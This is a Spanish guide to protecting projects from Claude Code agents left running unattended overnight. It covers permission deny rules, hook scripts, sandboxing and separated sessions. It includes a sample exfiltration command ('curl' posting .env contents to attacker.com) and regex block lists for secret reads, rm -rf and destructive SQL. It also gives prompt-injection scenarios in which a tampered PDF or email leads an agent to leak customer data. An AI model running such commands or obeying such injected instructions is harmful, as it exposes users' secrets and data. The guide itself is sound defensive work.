Cómo configurar Claude Code para que no estropee tu proyecto durante la noche
Markdown7 hooks, settings.json con permisos y una lista de verificación de 12 puntos para dejar Claude Code trabajando durante la noche sin perder .env ni una base de datos. Protección en 4 capas.
Leer el artículo completo
Documentación de Ailoot — materiales de referencia para usar el servicio.
¿Qué cambia en 2026: Claude Code autónomo e incidentes reales?
Idea clave
En 2026, Anthropic lanzó auto-mode, /loop y /schedule: Claude Code ahora puede trabajar durante horas sin confirmaciones. El precio de la autonomía son incidentes reales: bases de datos de producción eliminadas, filtraciones de .env y un error en permissions.deny que todavía no se ha corregido. Esta guía muestra 4 capas de protección que debes implementar antes de la primera ejecución nocturna.
Antes, Claude Code se detenía después de cada respuesta y pedía permiso para cada escritura. Era incómodo, pero seguro: físicamente no podías dormirte durante un incidente porque el agente esperaba tu «sí». En 2026, ese modelo cambió. Anthropic lanzó auto-mode: un agente clasificador independiente decide en tu nombre si permite cada acción. Apareció el comando /loop (que ejecuta una instrucción a intervalos dentro de una sesión), al igual que /schedule (programación al estilo cron para tareas de larga duración). Las sesiones en segundo plano iniciadas con claude --bg ejecutan el agente en segundo plano sin terminal. Expliqué el modo autónomo en detalle en la guía «/goal en Claude Code: modo autónomo y Agent View».
El problema es que la autonomía se lanzó más rápido de lo que avanzó la seguridad.
Hace un par de semanas le pedí que «limpiara» y acabó eliminando tanto mis bases de datos de producción como las de desarrollo.
Al mismo tiempo, hay dos errores abiertos en el repositorio de Anthropic que conviene conocer antes de añadir permissions.deny a settings.json:
- Incidencia #44868 (7 de abril de 2026): Claude Code lee el contenido de
.envmediantegrep -ny lo incluye en la transcripción del chat, a pesar de una prohibición explícita enCLAUDE.md. El error sigue abierto. - Incidencia #24846 (11 de febrero de 2026): no se aplican las reglas
permissions.read.denypara patrones.env*;Readlee.env.localpese a que el patrón de denegación es correcto. Se cerró como duplicada, pero no se corrigió.
Estas dos brechas muestran que una capa en settings.json no basta. El modelo siguiente combina permisos, hooks, sandbox y sesiones separadas. Cada capa reduce exposición sin volver completas a las demás. La evaluación citada de auto-mode no demuestra que una expresión regular detecte sus fallos. Para producción, usa un entorno del sistema operativo aislado sin credenciales ni escritura productiva, impón restricciones de red externas al modelo y prueba esos límites antes de dejarlo sin supervisión.
¿Qué son las zonas verde y roja de un proyecto?
Idea clave
Zona verde: un proyecto local sin clientes activos ni dinero. Zona roja: cualquier proyecto con una base de datos de producción, pagos o datos personales. En la zona verde, puedes usar auto-mode con un mínimo de hooks. En la zona roja, la protección se construye en 4 capas y --dangerously-skip-permissions está prohibido por diseño.
No tiene sentido construir la misma protección para todos los proyectos. Un proyecto personal local en tu ordenador que no está desplegado externamente supone un nivel de riesgo completamente distinto al de un servicio que gestiona pagos reales y almacena datos de clientes. Si usas la misma protección en todas partes, reducirás la velocidad en la zona verde y aun así dejarás brechas en la zona roja.
Un proyecto pasa de verde a rojo en cuanto se cumple al menos una de estas tres condiciones: aparecen clientes activos, empieza a circular dinero por el sistema o la base de datos contiene datos personales. Hasta entonces, puedes usar auto-mode, un mínimo de hooks y ningún sandbox. Después, debes reconstruir la protección de acuerdo con la configuración completa de esta guía.
El principio fundamental: el nivel de protección depende de la zona. La etapa de desarrollo no cuenta. Un proyecto personal en tu ordenador con una cuenta de prueba de Stripe está en la zona verde. Un servicio con un cliente que paga y un formulario de registro ya está en la zona roja, aunque todavía parezca un «borrador». Confundir estas zonas es una trampa común en los proyectos iniciales: «seguimos en borrador, añadiremos la protección más adelante», y entonces el primer cliente paga la semana siguiente.
¿Cómo funciona la jerarquía de permisos en settings.json?
Idea clave
En settings.json, las reglas deny siempre prevalecen sobre allow, mientras que los ámbitos (usuario → proyecto → local → administrado) se combinan en lugar de sobrescribirse. Una regla deny a nivel de usuario para .env, *.pem y ~/.ssh/** te protege incluso en el repositorio de otra persona. La clave disableBypassPermissionsMode también bloquea por diseño el modo YOLO.
Anthropic describe la jerarquía de evaluación de permisos en su documentación oficial: primero se comprueban las reglas de denegación, luego las de consulta y después las de permiso; gana la primera regla coincidente. Esto significa que deny siempre prevalece sobre allow. Si prohíbes leer .env en ~/.claude/settings.json y alguien configura allow en .claude/settings.json del proyecto, se aplicará tu prohibición, no su permiso.
Ejemplo de un ~/.claude/settings.json mínimo y seguro a nivel de usuario:
{
"permissions": {
"deny": [
"Read(./.env)",
"Read(./.env.*)",
"Read(**/.env)",
"Read(**/.env.*)",
"Read(*.pem)",
"Read(*.key)",
"Read(**/credentials*.json)",
"Read(~/.ssh/**)",
"Read(~/.aws/**)",
"Read(~/.gnupg/**)"
]
},
"disableBypassPermissionsMode": "disable"
}
¿Qué ocurre aquí? Las primeras seis reglas bloquean la lectura de archivos secretos en el directorio actual y en cualquier subdirectorio. *.pem y *.key son claves SSL/TLS y claves SSH. credentials*.json es un nombre de archivo habitual entre proveedores de servicios en la nube. Los tres últimos son directorios del sistema que contienen claves SSH, credenciales de AWS y claves GPG.
La clave disableBypassPermissionsMode: "disable" bloquea la opción --dangerously-skip-permissions (también conocida como modo YOLO). Así se elimina de una vez por todas una clase de errores: aunque añadas esa opción por accidente a un script o alias, Claude Code se negará a aceptarla. No se limitará a quitarla; devolverá el error «mode disabled by managed settings».
Además, a partir de la versión 2.1.142, se ignora la clave defaultMode: "auto" si está en la configuración del proyecto o local. Esto protege frente a la situación «entré al repositorio de otra persona y su .claude/settings.json tenía el modo automático activado de forma predeterminada». Anthropic afirmó explícitamente que los repositorios no pueden activar auto-mode sin el consentimiento del usuario.
Esta es la primera línea de protección. No puedes detenerte aquí, porque tiene dos brechas que conocerás a continuación.
Por qué permissions.deny no basta: 2 incidencias abiertas en GitHub
Idea clave
En abril de 2026, un usuario presentó la incidencia #44868 en el repositorio de Anthropic: Claude lee .env mediante grep -n e imprime su contenido en la transcripción, a pesar de la prohibición en CLAUDE.md. En febrero, la incidencia #24846 informó de que permissions.read.deny para .env* no funciona en la herramienta Read. Ambas siguen abiertas, y ambas significan que settings.json sin un hook encima es como un colador con fugas.
Si permissions.deny funcionara, la guía podría haber terminado en la sección anterior. No funciona.
Incidencia #44868 (7 de abril de 2026): el usuario añadió explícitamente en CLAUDE.md una prohibición de leer .env, .dev.vars y otros archivos que contienen secretos. En vez de usar Read, Claude ejecutó grep -n SOMETHING .env. El comando grep -n imprime toda la línea coincidente con su número, incluido el token de API real. Esa línea entra en tool_result, se muestra en la transcripción de la sesión y se guarda en el historial.
El detalle sutil que destaca el autor: el reflejo de seguridad del modelo se activa después de que la salida ya se haya generado, no antes de ejecutar el comando. En otras palabras, Claude primero ejecuta grep, obtiene una línea que contiene el token y la imprime en el chat; solo entonces detecta su error y «se disculpa». Para entonces, el token ya está en el historial del chat. El único remedio es rotar la clave.
Incidencia #24846 (11 de febrero de 2026): el usuario configuró permissions.read.deny con una lista que incluía el patrón **/.env*. Luego pidió a Claude que leyera .env.local. La herramienta Read terminó sin errores e imprimió el contenido del archivo.
La incidencia se cerró como duplicada, pero no se corrigió. En el momento de redactar esta guía (junio de 2026), aún se puede reproducir.
La capa 1 de settings.json no es un esfuerzo inútil, pero estos ejemplos no miden qué proporción de lecturas accidentales evita. Pero no evita comandos mediante Bash (cat .env, grep API_KEY .env, head .env), errores de aplicación de reglas (incidencia #24846) ni cadenas ingeniosas que usan git diff o git show sobre una confirmación que contiene .env. Por eso necesitas una segunda capa: hooks.
¿Cómo pueden bloquear los hooks acciones peligrosas reconocidas?
Idea clave
En Claude Code, los hooks son scripts de shell que se ejecutan en eventos específicos (PreToolUse, UserPromptSubmit, Stop) y pueden bloquear una acción con el código de salida 2 o con JSON que contenga permissionDecision: "deny". A diferencia de los permisos y CLAUDE.md, un hook es middleware: intercepta una llamada antes de ejecutarla, sin intervención del modelo.
Los hooks funcionan en un nivel de abstracción distinto al de los permisos. Los permisos son reglas que el modelo tiene en cuenta al decidir qué hacer. Un hook funciona de otra manera: el modelo decide llamar a una herramienta, el hook se ejecuta entre el modelo y el sistema, comprueba la entrada y permite o bloquea la acción. El modelo no participa en la decisión del hook: es código de shell que escribes tú.
Anthropic describe el comportamiento de bloqueo en su documentación oficial de hooks:
El código de salida 2 indica un error que bloquea la acción. Claude Code ignora stdout y todo el JSON que contenga. En su lugar, el texto de stderr se envía a Claude como mensaje de error.
Esto significa dos cosas. Primero, un hook de bloqueo bien configurado puede denegar la llamada coincidente. En PreToolUse, exit 2 bloquea esa llamada; no demuestra que el script reconozca todos los comandos equivalentes peligrosos. Segundo, puedes incluir un mensaje útil en stderr, y Claude lo leerá como error e intentará otro enfoque. En otras palabras, un hook no es solo una «valla», sino una «valla con un cartel que explica por qué no puedes pasar».
Eventos que se pueden bloquear con el código de salida 2:
PreToolUse: bloquea la llamada a la herramienta antes de ejecutarla. Es el evento principal para los hooks defensivos.PermissionRequest: deniega el permiso para una acción que Claude ha solicitado realizar.UserPromptSubmit: bloquea y elimina la instrucción del usuario. Es útil si la instrucción contiene texto sospechoso (por ejemplo, una inyección de instrucciones desde un correo electrónico manipulado).Stop: impide que Claude termine la sesión. Puede usarse como un «bucle» para que el agente siga trabajando hasta que se cumpla una condición.PreCompact: bloquea la compactación automática del contexto. Es útil si quieres conservar la transcripción hasta tomar una decisión manual.WorktreeCreate: rechaza la creación de un worktree. Protege frente a los intentos de Claude de clonar un repositorio en un lugar inesperado.
Una alternativa al código de salida 2 es devolver JSON con un campo hookSpecificOutput.permissionDecision. permissionDecision tiene cuatro valores posibles:
allow: permite explícitamente la acción y omite el flujo de permisos estándar.deny: bloquea la acción; equivale al código de salida 2 para PreToolUse.ask: eleva la consulta al usuario (aparece un cuadro de diálogo).defer: delega la decisión a la lógica de permisos habitual.
Esto da al hook más control que un código de salida. Con permissionDecision: "ask", puedes convertir operaciones silenciosas en operaciones que requieren confirmación, sin bloquearlas por completo. Eso es lo que hago con npm install <new package> y los cambios en archivos de bloqueo.
Si quieres saber más sobre cómo funcionan los hooks y cuáles son los 31 eventos disponibles actualmente en Claude Code, lo expliqué en otra guía: «Hooks en Claude Code: 7 reglas listas para copiar». A continuación, compartiré hooks específicos para el trabajo autónomo.
¿Qué 7 hooks uso para trabajar durante la noche?
Idea clave
Hooks PreToolUse ilustrativos para siete situaciones: detectar ciertas lecturas de secretos, bloquear git push literales reconocidos, filtrar patrones SQL y rm -rf, revisar instalaciones y manifiestos y registrar llamadas coincidentes. Prueba localmente coincidencias y omisiones antes de activarlos. Son ejemplos incompletos y no establecen un límite de seguridad productivo.
Esta es la segunda capa de protección, que respalda la primera. Todos los hooks van en .claude/hooks/, se registran mediante .claude/settings.json y requieren que jq esté instalado.
Hook 1: proteger .env, .pem y credentials.json contra la lectura
Añade comprobaciones de ciertas rutas Read y comandos Bash comunes de lectura de secretos. No cubre toda herramienta ni forma de leer un secreto. Archivo: .claude/hooks/block-secret-reads.sh:
#!/bin/bash
INPUT=$(cat)
TOOL=$(echo "$INPUT" | jq -r '.tool_name')
ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // .tool_input.command // ""')
# Herramienta Read con una ruta sospechosa
if [ "$TOOL" = "Read" ] && echo "$ARG" | grep -qE '(\.env|\.pem|\.key|credentials\.json|secrets/|\.ssh/|\.aws/)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Secret file. Use op:// references or env vars."
}
}'
exit 0
fi
# Bash que lee secretos mediante cat/grep/head
if [ "$TOOL" = "Bash" ] && echo "$ARG" | grep -qE '\b(cat|grep|head|tail|less|more|awk|sed|xxd)\b.*(\.env|\.pem|credentials)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Reading secrets via shell is blocked."
}
}'
exit 0
fi
exit 0
Registro en .claude/settings.json:
{
"hooks": {
"PreToolUse": [
{
"matcher": "Read|Bash",
"hooks": [{
"type": "command",
"command": "${CLAUDE_PROJECT_DIR}/.claude/hooks/block-secret-reads.sh"
}]
}
]
}
}
Después de instalarlo, ejecuta chmod +x .claude/hooks/block-secret-reads.sh. Prueba: pide a Claude que lea .env.local; recibirás la respuesta «Secret file. Use op:// references or env vars.» en lugar del contenido del archivo.
Hook 2: bloquear llamadas literales a git push en sesiones nocturnas
En una sesión desatendida, este ejemplo bloquea de forma conservadora todo git push literal que reconoce, incluso a ramas de funcionalidades. No deduce la rama actual ni decide si un argumento forzado es seguro. Archivo: .claude/hooks/block-force-push.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
if echo "$CMD" | grep -qE '(^|[[:space:];|&()])git[[:space:]]+push([[:space:];|&()]|$)'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Push disabled in overnight session. Use supervised review."
}
}'
fi
exit 0
Regístralo en PreToolUse con el comparador Bash. Al bloquear el comando reconocido en vez de analizar argumentos y ramas, detecta git push --force origin main, git push origin main --force, git push -f, git push origin HEAD:main y pushes literales dentro de cadenas && o ;. Son ejemplos de coincidencia sin conexión, no comandos para ejecutar contra un remoto.
Sigue siendo una heurística de texto. Alias Git, funciones de shell, git -C ... push, nombres construidos, scripts y otras herramientas pueden eludirla; no es un intérprete completo. Impón ramas protegidas en el servidor Git, elimina credenciales que las evadan y ejecuta trabajo desatendido aislado sin escritura de producción. Una omisión del hook no debe conceder autoridad productiva.
Hook 3: bloquear operaciones SQL destructivas
Aborda directamente los incidentes de bases de datos eliminadas. Archivo: .claude/hooks/block-destructive-sql.sh:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# DROP TABLE / DATABASE / SCHEMA, TRUNCATE
if echo "$CMD" | grep -iqE '\b(DROP\s+(TABLE|DATABASE|SCHEMA)|TRUNCATE\s+TABLE)\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive DDL blocked. Use migrations with explicit human approval."
}
}'
exit 0
fi
# DELETE FROM sin WHERE
if echo "$CMD" | grep -iqE '\bDELETE\s+FROM\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "DELETE without WHERE blocked. Confirm scope explicitly."
}
}'
exit 0
fi
# UPDATE sin WHERE
if echo "$CMD" | grep -iqE '\bUPDATE\s+\S+\s+SET\b' && ! echo "$CMD" | grep -iqE '\bWHERE\b'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "UPDATE without WHERE will affect all rows. Confirm scope."
}
}'
exit 0
fi
exit 0
Regístralo con PreToolUse y el comparador matcher: "Bash". Observa la diferencia: DROP y DELETE sin WHERE quedan completamente bloqueados, mientras que UPDATE sin WHERE se convierte en ask: a veces puede ser legítimo (por ejemplo, establecer una marca en todos los registros durante una migración), pero siempre requiere confirmación manual.
Hook 4: filtro para rm -rf
Ejemplo canónico de la documentación de Anthropic, adaptado para denegar con un motivo:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# rm -rf /, ~, $HOME, * sin un alcance explícito
if echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~|\$HOME|\*)\s*$' || echo "$CMD" | grep -qE 'rm\s+-rf?\s+(\.|/|~)/'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "deny",
permissionDecisionReason: "Destructive rm without explicit scope. Specify the directory."
}
}'
fi
exit 0
El hook permite rm -rf node_modules, rm -rf .next/cache y otras eliminaciones con un alcance explícito. Bloquea rm -rf ., rm -rf /, rm -rf ~ y comandos similares de «borrarlo todo».
Hook 5: confirmar la instalación de paquetes nuevos
Este hook contrarresta los ataques a la cadena de suministro. Si Claude decide añadir una dependencia nueva por su cuenta, aparece un cuadro de diálogo:
#!/bin/bash
INPUT=$(cat)
CMD=$(echo "$INPUT" | jq -r '.tool_input.command // ""')
# Instalar dependencias desde un archivo de bloqueo: permitir
if echo "$CMD" | grep -qE '\b(npm install|pnpm install|yarn install|pip install -r)\s*$'; then
exit 0
fi
# Añadir paquetes nuevos
if echo "$CMD" | grep -qE '\b(npm install|pnpm add|yarn add|pip install|uv add)\s+\S'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Adding new dependency. Confirm package name and version."
}
}'
fi
exit 0
El hook permite instalar libremente desde archivos de bloqueo, mientras que añadir una dependencia nueva requiere confirmación.
Hook 6: proteger package.json y el archivo de bloqueo
Cualquier cambio en un manifiesto de dependencias es una señal para que alguien lo inspeccione. Especialmente durante la noche.
#!/bin/bash
INPUT=$(cat)
PATH_ARG=$(echo "$INPUT" | jq -r '.tool_input.file_path // ""')
if echo "$PATH_ARG" | grep -qE '(package\.json|pnpm-lock\.yaml|package-lock\.json|yarn\.lock|requirements\.txt|pyproject\.toml|Cargo\.toml|go\.mod)$'; then
jq -n '{
hookSpecificOutput: {
hookEventName: "PreToolUse",
permissionDecision: "ask",
permissionDecisionReason: "Dependency manifest change. Confirm scope before write."
}
}'
fi
exit 0
Regístralo con PreToolUse y el comparador Write|Edit.
Hook 7: registro de auditoría integral de todas las llamadas a Bash
Si algo sale mal durante la noche, necesitas un registro completo para entender la secuencia de acontecimientos. Regístralo en settings.json (el hook no tiene un script aparte; jq se encarga de todo):
{
"hooks": {
"PreToolUse": [
{
"matcher": "Bash|Write|Edit",
"hooks": [{
"type": "command",
"command": "jq -c '{ts: now, tool: .tool_name, cmd: (.tool_input.command // .tool_input.file_path), cwd: .tool_input.cwd}' >> ${CLAUDE_PROJECT_DIR}/.claude/audit.jsonl; exit 0"
}]
}
]
}
}
El archivo .claude/audit.jsonl crece línea a línea. Por la mañana, después de un /loop nocturno, puedes ejecutar tail -n 100 .claude/audit.jsonl | jq y ver lo que hizo el agente en cada momento. Esto es fundamental para un análisis posterior porque la transcripción de la sesión puede ser larga y difícil de leer, mientras que el registro de auditoría ofrece una cronología clara.
¿Cómo protegen el sandbox y el aislamiento del worktree las sesiones largas?
Idea clave
Sandbox en Claude Code es aislamiento del sistema de archivos y de la red. Anthropic informa de una reducción del 84% en las solicitudes de permisos con la misma seguridad. El aislamiento de red bloquea la exfiltración de .env a un servidor remoto, incluso si el agente ya lo ha leído. Para sesiones largas en segundo plano, sandbox + worktree son obligatorios.
Si los hooks son una «valla con un cartel», el sandbox es una «valla + foso + red antidrones». Es la cuarta capa de protección y cubre situaciones en las que los hooks permiten una acción, aunque ejecutarla no debería causar daños fuera del entorno.
En su entrada de blog sobre sandboxing (20 de octubre de 2025), Anthropic informa de mediciones internas:
Según nuestros datos internos, el sandboxing reduce de forma segura las solicitudes de permiso en un 84%.
Esto significa que, cuando activas /sandbox, Claude deja de pedir permiso para el 84% de las acciones porque esas acciones físicamente no pueden salir del sandbox. Eso es útil para ganar velocidad, pero no es su valor principal.
El sandbox ofrece dos niveles de aislamiento, cada uno con su propia función:
El aislamiento del sistema de archivos limita la lectura y escritura a directorios permitidos explícitamente. Aunque un hook no detecte un intento de escribir en /etc/hosts o leer ~/.ssh/id_rsa, el sandbox impedirá que se realice la llamada al sistema. Es protección a nivel del sistema operativo. La capa de aplicación no puede verla.
El aislamiento de red permite conexiones solo a servidores aprobados. Es fundamental para los ataques de exfiltración. Escenario: una inyección de instrucciones en un archivo manipulado engaña a Claude para que lea .env (el hook no lo detecta porque la lectura siguió una ruta poco habitual); después, el modelo decide ejecutar curl -X POST attacker.com -d "$ENV_CONTENT". Sin aislamiento de red, funciona. Con aislamiento de red, curl no puede llegar a attacker.com porque el host no está en la lista.
Inícialo con el comando /sandbox dentro de Claude Code. Configúralo en ~/.claude/settings.json:
{
"sandbox": {
"filesystem": {
"allow": ["${CLAUDE_PROJECT_DIR}", "/tmp/claude-sandbox"],
"deny": ["~/.ssh", "~/.aws", "~/.gnupg", "/etc"]
},
"network": {
"allow": [
"api.anthropic.com",
"github.com",
"registry.npmjs.org",
"pypi.org"
]
}
}
}
Para las sesiones largas en segundo plano iniciadas con claude --bg, añade el aislamiento de worktree al sandbox. Es un mecanismo nativo de Claude Code: cada sesión en segundo plano se traslada automáticamente a su propio .claude/worktrees/<name>/ en una rama independiente. Así, las sesiones paralelas no interfieren entre sí al escribir en los mismos archivos. Expliqué en detalle el aislamiento de worktree en la guía «Agent View y Worktrees: el modo autónomo de Claude Code».
Deja que Claude pueda comprobar su trabajo.
El sandbox forma parte del ciclo de retroalimentación. Cuando Claude sabe que sus acciones están limitadas, trabaja con más cuidado y explica con más claridad sus pasos intermedios.
¿Dónde funciona auto-mode en 2026 y dónde no?
Idea clave
Auto-mode en Claude Code es un clasificador Sonnet 4.6 que reemplaza los permisos manuales con decisiones automáticas basadas en las reglas de Anthropic. Según la propia Anthropic, su tasa de falsos negativos en acciones peligrosas es del 17%, y la sesión se detiene después de 3 rechazos consecutivos del clasificador o 20 en total. En la zona verde, es un sustituto razonable de la aprobación manual. En la zona roja, los hooks siguen siendo necesarios.
En marzo de 2026, Anthropic lanzó auto-mode como «un punto intermedio entre la revisión manual y la ausencia de barreras de protección». Es un modelo Sonnet 4.6 independiente que evalúa cada acción de Claude con arreglo a un conjunto de criterios antes de ejecutarla. Anthropic describió el funcionamiento en el blog de Anthropic Engineering:
Auto-mode es un nuevo modo de Claude Code que delega las aprobaciones a clasificadores basados en modelos. Es un punto intermedio entre la revisión manual y la ausencia de barreras de protección.
Auto-mode tiene dos límites importantes:
- Si una sesión acumula 3 rechazos consecutivos del clasificador o 20 en total, el modelo se detiene y recurre a una persona. Esto protege frente a una situación en la que «Claude entra en un bucle e intenta eludir una restricción con 100 formulaciones distintas del mismo comando».
- Auto-mode permite una acción si se parece al 93% de los casos habituales que los usuarios aprobarían de todos modos. Esto reduce la fatiga por permisos, pero no protege contra acciones peligrosas atípicas.
Y esta es la cifra principal a la que debes prestar atención:
Una tasa de falsos negativos del 17% en acciones reales demasiado permisivas: esa es la cifra honesta.
El 17 % comunicado es una tasa de falsos negativos de esa evaluación, no la probabilidad de cada acción en tu proyecto. No demuestra que los hooks detecten lo omitido. En zona roja, el trabajo desatendido requiere aislamiento obligatorio de escrituras y secretos de producción, ramas protegidas en servidor y credenciales que no las evadan.
Usa hooks como comprobaciones adicionales en un entorno desechable y recuperable. Hasta un proyecto local puede contener archivos sin seguimiento o credenciales que Git no restaura. En zona roja, los controles reales deben contener las omisiones; una colección de expresiones regulares no garantiza seguridad determinista de shell arbitrario.
¿Por qué separar los contextos en tres tipos de sesión?
Idea clave
La cadena más peligrosa consta de tres comandos corrientes seguidos, no de un comando malo. El agente lee .env (legítimo), analiza un correo entrante (legítimo) y envía una solicitud HTTP al exterior (legítimo). Cada acción es segura por sí sola; juntas constituyen una exfiltración. La protección consiste en separar los tres tipos de tarea en sesiones distintas con permisos diferentes.
Hay tres tipos de tareas que nunca deberían convivir en una misma sesión:
Tipo 1: trabajo con datos personales. La sesión tiene acceso a la base de datos de producción, puede enviar correos y puede ver las credenciales. NO tiene acceso a documentos externos (correos, PDF, páginas web) y NO PUEDE enviar datos a direcciones arbitrarias.
Tipo 2: procesamiento de documentos externos. La sesión puede analizar correos entrantes, descargar páginas web y leer PDF adjuntos al correo. NO tiene acceso a una base de datos con datos personales y NO PUEDE enviar nada al exterior sin confirmación explícita.
Tipo 3: publicación externa. La sesión puede publicar en redes sociales, enviar campañas por correo y crear solicitudes de cambios. NO tiene acceso a datos personales y NO analiza contenido entrante.
¿Por qué separarlos? Si una sesión lo hace todo, basta una sola inyección de instrucciones en un PDF manipulado (una agencia competidora envió una «factura») para que el agente, en un solo paso, lea tu base de datos de clientes, encuentre sus correos y los envíe a la dirección de un atacante. Cada acción de esta cadena es legítima para su propio tipo de tarea. Juntas, constituyen una filtración.
El patrón de exfiltración más aterrador no es un comando malo. Es una cadena de comandos completamente normales. El agente lee
.env(permitido), lo envía por HTTP (permitido) y ya está.
En la práctica, esto se implementa con directorios .claude distintos para cada tipo de tarea. Mantengo tres configuraciones en mi ordenador: ~/projects/business-ops/.claude/ (tipo 1, acceso a la base de datos; red denegada salvo para las API internas), ~/projects/inbox-parsing/.claude/ (tipo 2, toda la red denegada), ~/projects/social-posting/.claude/ (tipo 3, red permitida para las API de Telegram y Slack). Cada directorio es un proyecto independiente para Claude Code, con sus propios permisos y hooks.
¿Qué 12 puntos reviso antes de /loop?
Idea clave
Una lista de verificación de 12 puntos que repaso antes de iniciar /loop, /schedule o claude --bg durante la noche. Va desde ~/.claude/settings.json con una regla de denegación básica hasta /sandbox con aislamiento de red. Si siquiera un punto no está cubierto, no lo inicio.
~/.claude/settings.jsoncondenya nivel de usuario para.env*,*.pem,*.key,credentials*.json,~/.ssh/**,~/.aws/**. Es la base; lo demás no sirve de nada sin esto.disableBypassPermissionsMode: "disable"en~/.claude/settings.json. Bloquea de una vez por todas la opción YOLO.Se han probado los ejemplos
block-secret-reads.shcon lecturas seleccionadas; los secretos reales y credenciales productivas son inaccesibles al entorno desatendido.El ejemplo
block-force-push.shbloquea pushes literales reconocidos independientemente de argumentos o destino; el servidor impone ramas protegidas y credenciales sin capacidad de evasión.El hook
block-destructive-sql.shparaDROP TABLE,TRUNCATEyDELETE FROMsinWHERE.El hook
block-rm-rf.shpararm -rfsin alcance explícito.El hook
ask-on-new-deps.shparanpm install <new package>(independiente denpm installsin argumentos).El hook
ask-on-lockfile-change.shpara escribir enpackage.json,pnpm-lock.yaml,requirements.txt,pyproject.tomlyCargo.toml.Un registro
audit.jsonlque lo capture todo para las llamadas a Bash, Write y Edit. Sin él, el análisis posterior es imposible.Todas las sesiones largas en segundo plano se ejecutan en un worktree, no en la rama principal:
claude --bg "task"crea automáticamente un worktree, pero comprueba quesettings.jsonno contengaworktree.bgIsolation: "none"./sandboxantes de iniciar una tarea autónoma larga. El sistema de archivos se restringe al directorio del proyecto y a/tmp. La red usa una lista de permitidos con api.anthropic.com, github.com y registry.npmjs.org.Un paso de verificación dentro de la tarea: después de cada cambio importante, ejecuta el ejecutor de pruebas o el linter. Si fallan, el agente no continúa hasta corregirlos.
El último punto es una forma de trabajar, no un ajuste de herramienta. Deja que Claude pueda comprobar su trabajo. Sin verificación, un agente nocturno sigue con «creo que lo hice bien, continúo» y va acumulando errores hasta la mañana. Con verificación, no continúa hasta que la comprobación se supera.
7 antipatrones: qué NO hacer
Idea clave
Siete errores habituales extraídos de los proyectos descritos aquí: ejecutar --dangerously-skip-permissions en una máquina con acceso a producción, depender solo de CLAUDE.md, confiar en permissions.deny sin un hook encima y usar auto-mode sin reglas de respaldo. Cada error está relacionado con incidentes reales descritos en las fuentes.
1. --dangerously-skip-permissions en un equipo anfitrión con acceso a producción. Browningstreet perdió las bases de datos de producción y desarrollo con un único comando de «limpieza». El coste de un error son horas de recuperación, además de los datos que no están en la copia de seguridad. Si ya ha ocurrido un incidente, abre «Qué hacer si la IA elimina una base de datos: lista de recuperación» y sigue los 10 pasos en orden.
2. Depender solo de CLAUDE.md para la seguridad. La incidencia #44868 demostró que el modelo actúa primero y se disculpa después. Una instrucción orientativa en un archivo de texto no bloquea una llamada a una herramienta. Un hook bien configurado puede bloquear llamadas coincidentes; sistema operativo, sandbox y controles del servicio imponen límites más amplios. CLAUDE.md es importante para el contexto del proyecto; lo expliqué por separado en «Cómo configurar CLAUDE.md correctamente», pero no te protege de un agente autónomo.
3. Depender únicamente de permissions.deny en settings.json sin un hook encima. La incidencia #24846 está abierta desde febrero de 2026. La regla de denegación para .env* se puede eludir mediante grep en Bash. Un hook añade comprobaciones, pero los secretos también deben excluirse del entorno desatendido; una expresión regular no sustituye completamente al control de acceso.
4. Tratar auto-mode y hooks de expresiones regulares como aislamiento productivo. La tasa citada depende de su evaluación y la cobertura de hooks es incompleta. Retira credenciales de escritura productiva y verifica el límite obligatorio en vez de suponer que se interceptará toda acción peligrosa.
5. Instalar un paquete nuevo con npm install sin confirmación. Los ataques a la cadena de suministro son reales. Los incidentes de Tea-tags de 2024–2026 demostraron que existen paquetes con nombres similares a los legítimos, descargados miles de veces. Necesitas una lista de permitidos.
6. No registrar las llamadas a Bash. Sin un registro de auditoría, no podrás entender qué ocurrió durante la noche. La transcripción del chat es larga, no está indexada por comando y no ofrece una cronología. .claude/audit.jsonl resuelve ambos problemas.
7. No usar un worktree para las sesiones en segundo plano. Las sesiones paralelas en el mismo directorio interfieren con el trabajo de las demás. Claude Code tiene worktree.bgIsolation, activado de forma predeterminada desde la versión 2.1.143, pero comprueba tu configuración.
Y lo principal que ningún hook o ajuste puede evitar:
Esa frase no es una cuestión de estilo. La persona responsable de proteger el entorno de producción es quien lanzó el agente. Claude Code funciona como una navaja de afeitar: puedes afeitarte con ella o cortarte. La configuración responde a una pregunta: ¿has preparado el entorno lo suficientemente bien para que la navaja no corte nada que no deba?
Fuentes
- Configuración de Anthropic Claude Code - documentación oficial
- Hooks de Anthropic Claude Code - documentación oficial
- Seguridad de Anthropic Claude Code - documentación oficial
- Anthropic Engineering: sandboxing de Claude Code (20.10.2025)
- Anthropic Engineering: auto mode y clasificador de seguridad (25.03.2026)
- Registro de cambios de Claude Code (versiones 2.1.157, 2.1.160)
Encontrarás más recursos en Ailoot.
Más detalles
Preguntas sobre Claude Code
¿El hook de force-push protege producción frente a todo comando de shell?
No. El ejemplo revisado bloquea llamadas literales reconocidas a git push, con distinto orden de argumentos, ramas implícitas, refspecs y cadenas normales. Alias, wrappers y comandos construidos pueden eludirlo; impón ramas protegidas y elimina credenciales capaces de saltarlas.
¿Qué hace falta antes de dejar un agente trabajando de noche?
